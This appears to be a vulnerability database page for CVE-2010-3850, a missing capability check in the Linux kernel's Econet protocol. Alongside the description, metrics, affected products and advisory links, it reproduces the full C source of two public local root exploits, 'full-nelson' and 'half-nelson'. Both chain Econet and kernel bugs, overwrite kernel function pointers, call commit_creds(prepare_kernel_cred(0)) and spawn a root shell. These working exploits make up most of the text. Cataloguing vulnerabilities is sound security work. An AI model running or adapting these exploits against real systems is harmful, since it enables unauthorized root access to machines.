CVE-2010-3850 : Detail

CVE-2010-3850

0.04%V3
Local
2010-12-30
17h00 +00:00
2011-01-11
09h00 +00:00
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CVE Descriptions

The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which allows local users to bypass intended access restrictions and configure econet addresses via an SIOCSIFADDR ioctl call.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 15704

Publication date : 2010-12-06 23h00 +00:00
Author : Dan Rosenberg
EDB Verified : Yes

/* * Linux Kernel <= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit. If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok(). However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol. By itself, it's * fairly benign as a local denial-of-service. It's a perfect candidate to * trigger the above issue, since it's reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn't be able to reach the NULL pointer dereference and trigger the * OOPS if users weren't able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * * * The particular symbols I resolve are not exported on Slackware or Debian * * Red Hat does not support Econet by default * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and * Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn't have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */ // EDB-Note: You may need to add '#define _GNU_SOURCE' to compile in later versions #include <stdio.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <net/if.h> #include <sched.h> #include <stdlib.h> #include <signal.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> /* How many bytes should we clear in our * function pointer to put it into userspace? */ #ifdef __x86_64__ #define SHIFT 24 #define OFFSET 3 #else #define SHIFT 8 #define OFFSET 1 #endif /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* Why do I do this? Because on x86-64, the address of * commit_creds and prepare_kernel_cred are loaded relative * to rip, which means I can't just copy the above payload * into my landing area. */ void __attribute__((regparm(3))) trampoline() { #ifdef __x86_64__ asm("mov $getroot, %rax; call *%rax;"); #else asm("mov $getroot, %eax; call *%eax;"); #endif } /* Triggers a NULL pointer dereference in econet_sendmsg * via sock_no_sendpage, so it's under KERNEL_DS */ int trigger(int * fildes) { int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); if(ret < 0) { printf("[*] Failed to set Econet address.\n"); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn't get here... */ exit(0); } int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf("[*] Failed to open file descriptors.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf("[*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } if(!(newstack = malloc(65536))) { printf("[*] Failed to allocate memory.\n"); return -1; } printf("[*] Calculating target...\n"); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf("[*] Failed to mmap() at target address.\n"); return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (*)(void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); printf("[*] Triggering payload...\n"); ioctl(fildes[2], 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Got root!\n"); execl("/bin/sh", "/bin/sh", NULL); }
Exploit Database EDB-ID : 17787

Publication date : 2011-09-04 22h00 +00:00
Author : Jon Oberheide
EDB Verified : Yes

/* * half-nelson.c * * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 * * Stack-based buffer overflow in the econet_sendmsg function in * net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an * econet address is configured, allows local users to gain privileges by * providing a large number of iovec structures. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850 * * The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel * before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which * allows local users to bypass intended access restrictions and configure * econet addresses via an SIOCSIFADDR ioctl call. * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073 * * The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not * initialize certain structures, which allows local users to obtain * potentially sensitive information from kernel stack memory. * * Usage: * * $ gcc half-nelson.c -o half-nelson -lrt * $ ./half-nelson * [+] looking for symbols... * [+] resolved symbol commit_creds to 0xffffffff81088ad0 * [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0 * [+] resolved symbol ia32_sysret to 0xffffffff81046692 * [+] spawning children to achieve adjacent kstacks... * [+] found parent kstack at 0xffff88001c6ca000 * [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000 * [+] lower child spawning a helper... * [+] lower child calling compat_sys_wait4 on helper... * [+] helper going to sleep... * [+] upper child triggering stack overflow... * [+] helper woke up * [+] lower child returned from compat_sys_wait4 * [+] parent's restart_block has been clobbered * [+] escalating privileges... * [+] launching root shell! * # id * uid=0(root) gid=0(root) * * Notes: * * This exploit leverages three vulnerabilities to escalate privileges. * The primary vulnerability is a kernel stack overflow, not a stack buffer * overflow as the CVE description incorrectly states. I believe this is the * first public exploit for a kernel stack overflow, and it turns out to be * a bit tricky due to some particulars of the econet vulnerability. A full * breakdown of the exploit is forthcoming. * * Tested on Ubuntu 10.04 LTS (2.6.32-21-generic). */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stddef.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <syscall.h> #include <inttypes.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/syscall.h> #include <netinet/in.h> #include <net/if.h> #define IOVS 446 #define NPROC 1024 #define KSTACK_SIZE 8192 #define KSTACK_UNINIT 0 #define KSTACK_UPPER 1 #define KSTACK_LOWER 2 #define KSTACK_DIE 3 #define KSTACK_PARENT 4 #define KSTACK_CLOBBER 5 #define LEAK_BASE 0xffff880000000000 #define LEAK_TOP 0xffff8800c0000000 #define LEAK_DEPTH 500 #define LEAK_OFFSET 32 #define NR_IPC 0x75 #define NR_WAIT4 0x72 #define SEMCTL 0x3 #ifndef PF_ECONET #define PF_ECONET 19 #endif #define STACK_OFFSET 6 #define RESTART_OFFSET 40 struct ec_addr { unsigned char station; unsigned char net; }; struct sockaddr_ec { unsigned short sec_family; unsigned char port; unsigned char cb; unsigned char type; struct ec_addr addr; unsigned long cookie; }; struct ipc64_perm { uint32_t key; uint32_t uid; uint32_t gid; uint32_t cuid; uint32_t cgid; uint32_t mode; uint16_t seq; uint16_t __pad2; unsigned long __unused1; unsigned long __unused2; }; struct semid64_ds { struct ipc64_perm sem_perm; unsigned long sem_otime; unsigned long __unused1; unsigned long sem_ctime; unsigned long __unused; unsigned long sem_nsems; unsigned long __unused3; unsigned long __unused4; }; union semun { int val; struct semid_ds *buf; unsigned short *array; struct seminfo *__buf; }; struct region { unsigned long parent; unsigned long addrs[NPROC]; }; struct region *region; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long ia32_sysret; void __attribute__((regparm(3))) kernel_code(void) { commit_creds(prepare_kernel_cred(0)); } void payload_parent(void) { asm volatile ( "mov $kernel_code, %rax\n" "call *%rax\n" ); } void payload_child(void) { asm volatile ( "movq $payload_parent, (%0)\n" "jmpq *%1\n" : : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret) ); } unsigned long get_kstack(void) { int i, size, offset; union semun *arg; struct semid_ds dummy; struct semid64_ds *leaked; char *stack_start, *stack_end; unsigned char *p; unsigned long kstack, *ptr; /* make sure our argument is 32-bit accessible */ arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (arg == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } /* map a fake stack to use during syscall */ stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); if (stack_start == MAP_FAILED) { printf("[-] failure mapping memory, aborting!\n"); exit(1); } stack_end = stack_start + 4096; memset(arg, 0, sizeof(union semun)); memset(&dummy, 0, sizeof(struct semid_ds)); arg->buf = &dummy; /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "push %%rdi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "movq %5, %%rdi\n" "movq %%rsp, %%r8\n" "movq %6, %%rsp\n" "push %%r8\n" "int $0x80\n" "pop %%r8\n" "movq %%r8, %%rsp\n" "pop %%rdi\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end) : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8" ); /* naively extract a pointer to the kstack from the kstack */ p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET; kstack = *(unsigned long *) p; if (kstack < LEAK_BASE || kstack > LEAK_TOP) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); } if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); } kstack = kstack & ~0x1fff; return kstack; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int get_adjacent_kstacks(void) { int i, ret, shm, pid, type; /* create shared communication channel between parent and its children */ shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); if (shm < 0) { printf("[-] failed creating shared memory, aborting!\n"); exit(1); } ret = ftruncate(shm, sizeof(struct region)); if (ret != 0) { printf("[-] failed resizing shared memory, aborting!\n"); exit(1); } region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); memset(region, KSTACK_UNINIT, sizeof(struct region)); /* parent kstack self-discovery */ region->parent = get_kstack(); printf("[+] found parent kstack at 0x%lx\n", region->parent); /* fork and discover children with adjacently-allocated kernel stacks */ for (i = 0; i < NPROC; ++i) { pid = fork(); if (pid > 0) { type = KSTACK_PARENT; continue; } else if (pid == 0) { /* children do kstack self-discovery */ region->addrs[i] = get_kstack(); /* children sleep until parent has found adjacent children */ while (1) { sleep(1); if (region->addrs[i] == KSTACK_DIE) { /* parent doesn't need us :-( */ exit(0); } else if (region->addrs[i] == KSTACK_UPPER) { /* we're the upper adjacent process */ type = KSTACK_UPPER; break; } else if (region->addrs[i] == KSTACK_LOWER) { /* we're the lower adjacent process */ type = KSTACK_LOWER; break; } } break; } else { printf("[-] fork failed, aborting!\n"); exit(1); } } return type; } void do_parent(void) { int i, j, upper, lower; /* parent sleeps until we've discovered all the child kstacks */ while (1) { sleep(1); for (i = 0; i < NPROC; ++i) { if (region->addrs[i] == KSTACK_UNINIT) { break; } } if (i == NPROC) { break; } } /* figure out if we have any adjacent child kstacks */ for (i = 0; i < NPROC; ++i) { for (j = 0; j < NPROC; ++j) { if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) { break; } } if (j != NPROC) { break; } } if (i == NPROC && j == NPROC) { printf("[-] failed to find adjacent kstacks, try again!\n"); exit(1); } upper = i; lower = j; printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]); /* signal to non-adjacent children to die */ for (i = 0; i < NPROC; ++i) { if (i != upper && i != lower) { region->addrs[i] = KSTACK_DIE; } } /* signal adjacent children to continue on */ region->addrs[upper] = KSTACK_UPPER; region->addrs[lower] = KSTACK_LOWER; /* parent sleeps until child has clobbered the fptr */ while (1) { sleep(1); if (region->parent == KSTACK_CLOBBER) { break; } } printf("[+] escalating privileges...\n"); /* trigger our clobbered fptr */ syscall(__NR_restart_syscall); /* our privileges should be escalated now */ if (getuid() != 0) { printf("[-] privilege escalation failed, aborting!\n"); exit(1); } printf("[+] launching root shell!\n"); execl("/bin/sh", "/bin/sh", NULL); } void do_child_upper(void) { int i, ret, eco_sock; struct sockaddr_ec eco_addr; struct msghdr eco_msg; struct iovec iovs[IOVS]; struct ifreq ifr; char *target; /* calculate payload target, skip prologue */ target = (char *) payload_child; target += 4; /* give lower child a chance to enter its wait4 call */ sleep(1); /* write some zeros */ for (i = 0; i < STACK_OFFSET; ++i) { iovs[i].iov_base = (void *) 0x0; iovs[i].iov_len = 0; } /* overwrite saved ia32_sysret address on stack */ iovs[STACK_OFFSET].iov_base = (void *) target; iovs[STACK_OFFSET].iov_len = 0x0246; /* force abort via EFAULT */ for (i = STACK_OFFSET + 1; i < IOVS; ++i) { iovs[i].iov_base = (void *) 0xffffffff00000000; iovs[i].iov_len = 0; } /* create econet socket */ eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0); if (eco_sock < 0) { printf("[-] failed creating econet socket, aborting!\n"); exit(1); } memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "lo"); /* trick econet into associated with the loopback */ ret = ioctl(eco_sock, SIOCSIFADDR, &ifr); if (ret != 0) { printf("[-] failed setting interface address, aborting!\n"); exit(1); } memset(&eco_addr, 0, sizeof(eco_addr)); memset(&eco_msg, 0, sizeof(eco_msg)); eco_msg.msg_name = &eco_addr; eco_msg.msg_namelen = sizeof(eco_addr); eco_msg.msg_flags = 0; eco_msg.msg_iov = &iovs[0]; eco_msg.msg_iovlen = IOVS; printf("[+] upper child triggering stack overflow...\n"); /* trigger the kstack overflow into lower child's kstack */ ret = sendmsg(eco_sock, &eco_msg, 0); if (ret != -1 || errno != EFAULT) { printf("[-] sendmsg succeeded unexpectedly, aborting!\n"); exit(1); } close(eco_sock); } void do_child_lower(void) { int pid; printf("[+] lower child spawning a helper...\n"); /* fork off a helper to wait4 on */ pid = fork(); if (pid == 0) { printf("[+] helper going to sleep...\n"); sleep(5); printf("[+] helper woke up\n"); exit(1); } printf("[+] lower child calling compat_sys_wait4 on helper...\n"); /* syscall(NR_WAIT4, pid, 0, 0, 0) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "int $0x80\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0) : "memory", "rax", "rbx", "rcx", "rdx", "rsi" ); printf("[+] lower child returned from compat_sys_wait4\n"); printf("[+] parent's restart_block has been clobbered\n"); /* signal parent that our fptr should now be clobbered */ region->parent = KSTACK_CLOBBER; } int main(int argc, char **argv) { int type; if (sizeof(unsigned long) != 8) { printf("[-] x86_64 only, sorry!\n"); exit(1); } printf("[+] looking for symbols...\n"); commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("[-] symbol table not available, aborting!\n"); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] symbol table not available, aborting!\n"); exit(1); } ia32_sysret = get_symbol("ia32_sysret"); if (!ia32_sysret) { printf("[-] symbol table not available, aborting!\n"); exit(1); } printf("[+] spawning children to achieve adjacent kstacks...\n"); type = get_adjacent_kstacks(); if (type == KSTACK_PARENT) { do_parent(); } else if (type == KSTACK_UPPER) { do_child_upper(); } else if (type == KSTACK_LOWER) { do_child_lower(); } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.36.2

Configuraton 0

Suse>>Linux_enterprise_desktop >> Version 10

Suse>>Linux_enterprise_real_time_extension >> Version 11

Suse>>Linux_enterprise_server >> Version 9

Suse>>Linux_enterprise_server >> Version 10

Suse>>Linux_enterprise_software_development_kit >> Version 10

Configuraton 0

Debian>>Debian_linux >> Version 5.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 8.04

Canonical>>Ubuntu_linux >> Version 9.10

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 10.10

References

http://secunia.com/advisories/43056
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2010/11/30/1
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:051
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.mandriva.com/security/advisories?name=MDVSA-2010:257
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2011/0375
Tags : vdb-entry, x_refsource_VUPEN
http://www.ubuntu.com/usn/USN-1023-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/43291
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0213
Tags : vdb-entry, x_refsource_VUPEN
http://www.debian.org/security/2010/dsa-2126
Tags : vendor-advisory, x_refsource_DEBIAN